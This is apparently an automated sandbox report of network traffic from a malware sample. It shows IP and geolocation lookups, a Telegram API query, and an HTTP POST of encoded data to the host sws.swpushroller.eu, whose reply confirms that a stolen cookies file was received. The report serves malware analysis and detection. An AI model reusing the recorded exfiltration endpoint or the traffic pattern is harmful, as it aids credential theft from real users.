Nov 10, 2024 21:44:19.341866970 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341876030 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341886044 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341896057 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341903925 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:19.341916084 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:20.200763941 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:20.257143974 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:44:25.343307018 CET	80	49754	141.98.10.88	192.168.2.4
Nov 10, 2024 21:44:25.343379974 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:45:51.694895029 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:45:52.040015936 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:45:52.741564035 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:45:53.946502924 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:45:56.352565050 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:46:01.241769075 CET	49754	80	192.168.2.4	141.98.10.88
Nov 10, 2024 21:46:10.944941998 CET	49754	80	192.168.2.4	141.98.10.88

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2024 21:43:55.655762911 CET	65020	53	192.168.2.4	1.1.1.1
Nov 10, 2024 21:43:55.662587881 CET	53	65020	1.1.1.1	192.168.2.4
Nov 10, 2024 21:43:57.645832062 CET	62519	53	192.168.2.4	1.1.1.1
Nov 10, 2024 21:43:57.654247046 CET	53	62519	1.1.1.1	192.168.2.4
Nov 10, 2024 21:44:11.716831923 CET	61458	53	192.168.2.4	1.1.1.1
Nov 10, 2024 21:44:11.723701000 CET	53	61458	1.1.1.1	192.168.2.4
Nov 10, 2024 21:44:19.298806906 CET	55891	53	192.168.2.4	1.1.1.1
Nov 10, 2024 21:44:19.324453115 CET	53	55891	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 10, 2024 21:43:55.655762911 CET	192.168.2.4	1.1.1.1	0x843b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:57.645832062 CET	192.168.2.4	1.1.1.1	0x7399	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:44:11.716831923 CET	192.168.2.4	1.1.1.1	0x4ede	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:44:19.298806906 CET	192.168.2.4	1.1.1.1	0x5180	Standard query (0)	sws.swpushroller.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:55.662587881 CET	1.1.1.1	192.168.2.4	0x843b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:57.654247046 CET	1.1.1.1	192.168.2.4	0x7399	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:43:57.654247046 CET	1.1.1.1	192.168.2.4	0x7399	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:44:11.723701000 CET	1.1.1.1	192.168.2.4	0x4ede	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 10, 2024 21:44:19.324453115 CET	1.1.1.1	192.168.2.4	0x5180	No error (0)	sws.swpushroller.eu		141.98.10.88	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

sws.swpushroller.eu

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:43:55.672642946 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 10, 2024 21:43:56.497616053 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:43:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 20317b5b314a933176c36233a996fd79 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>
Nov 10, 2024 21:43:56.509068966 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:43:56.752751112 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:43:56 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1b8b90f9322fbcac88e5c2b52d4ac797 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>
Nov 10, 2024 21:43:58.689374924 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:43:59.083235025 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:43:58 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3aed71296d2a3a7b3b39d1ace1497017 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:43:59.870970011 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:44:00.712590933 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:00 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cacd71e7c7b824b236d645020df93855 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:01.499329090 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:44:02.342360973 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:02 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4925bfb92058670c02d12dc19fec389c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:03.160031080 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:44:04.001070976 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:03 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 80d6a259fc47e7c3df2ef17c68f20e19 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:04.767249107 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:44:05.635868073 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:05 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 64a6ee6587319001160d0d232ed39cc7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:06.403038025 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 10, 2024 21:44:07.237343073 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b808d1f6a157ee3020cc4680baa0c779 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:08.017652988 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 10, 2024 21:44:08.872978926 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:08 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7d0e546291d57ff93b2a8f9c7b7350bf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49745	193.122.6.168	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:09.657079935 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 10, 2024 21:44:10.668015003 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:10 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9b8e5dbd4eaaede64f780bb08500335d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>
Nov 10, 2024 21:44:10.895401955 CET	323	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:10 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9b8e5dbd4eaaede64f780bb08500335d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	141.98.10.88	80	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 21:44:19.331846952 CET	144	OUT	POST /swsk/P4.php HTTP/1.1 Content-Type: text/plain; charset=utf-8 Host: sws.swpushroller.eu Content-Length: 9112 Connection: Keep-Alive
Nov 10, 2024 21:44:19.336585999 CET	9112	OUT	Data Raw: 4d 6e 47 6e 55 56 75 34 59 54 57 4a 71 79 74 43 35 39 74 72 48 48 61 72 7a 6d 45 38 41 4a 70 57 77 52 35 4a 6a 59 49 44 2b 77 79 50 62 61 64 44 6e 68 36 78 38 66 5a 6f 44 46 6f 68 6c 35 58 47 63 52 59 48 62 76 2b 34 6a 65 35 64 32 6e 64 56 69 47 Data Ascii: MnGnUVu4YTWJqytC59trHHarzmE8AJpWwR5JjYID+wyPbadDnh6x8fZoDFohl5XGcRYHbv+4je5d2ndViG2BFKerW3sI0y1Gthg0A2QuNb5q5/8C/l9rT4N36/gRl6xaxh/S1zo2PPY/WFA/p+6lOmKeS8X5HxPBMhkGdwkrchFN/U/2PZOP9QBzF+P3ktKaI+I9Ve1PtAjEtBU9pk6rko0aoJhdm6XAIUikoT0YdaDRQR4sS+l
Nov 10, 2024 21:44:20.200763941 CET	250	IN	HTTP/1.1 201 Created content-type: text/html; charset=UTF-8 content-length: 86 date: Sun, 10 Nov 2024 20:44:20 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 75 70 6c 6f 61 64 65 64 20 61 6e 64 20 64 65 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 2c 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 43 6f 6f 6b 69 65 73 5f 37 34 39 39 2e 74 78 74 22 7d Data Ascii: {"message":"Data uploaded and decrypted successfully.","file_name":"Cookies_7499.txt"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:43:58 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-10 20:43:58 UTC	846	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:43:58 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51643 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TS6J6O6BPrOI58pDUw3VENTyphIBE%2BcaH4h0CNocybNcELRLQgn9PdqwRucvRTiITbttBQ1gHeOpGID5kUYgSJEEdY47KrckEn4JmRUqxSEig9NQ05jeUeONx5oEDBwv47ufzseh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0bb3d202e5a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1406&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2004152&cwnd=246&unsent_bytes=0&cid=e51cc0d41810ae52&ts=408&x=0"
2024-11-10 20:43:58 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:43:59 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-10 20:43:59 UTC	852	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:43:59 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51644 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b9Eh9PRF4WUICePxPAKi8yHAXr%2Fl4MFxgPCPeGJ8PzogW7acTTHSHyd2o3cF0uDcsn62ZH6d%2BNYhwv1s%2ByAerPEx%2BJ0JN0OkyKnyrftujCu6qmHKvFKMz5aL8xcNPX71xraBWzA1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0c29fc4e762-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2264&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1283687&cwnd=222&unsent_bytes=0&cid=3b6cfeac6da889ab&ts=167&x=0"
2024-11-10 20:43:59 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	188.114.97.3	443	7288	C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-10 20:44:01 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-10 20:44:01 UTC	854	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 20:44:01 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 51646 Last-Modified: Sun, 10 Nov 2024 06:23:15 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BDa8SgtKT80DA1lgH%2FVDhW0JEOTgkUuOG6ewHWL5cT0jZe0dFe9AK%2BLh%2Bk0VMEHoB74YNts9A6jh4IUfhx%2ByGwS0okaBRU6S49QeWpw%2FDVMdyPNjBWBYAC8zweH8B8NANJi6isef"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e08e0ccdbabb793-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2020&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1261873&cwnd=121&unsent_bytes=0&cid=00260cdda65ee895&ts=172&x=0"
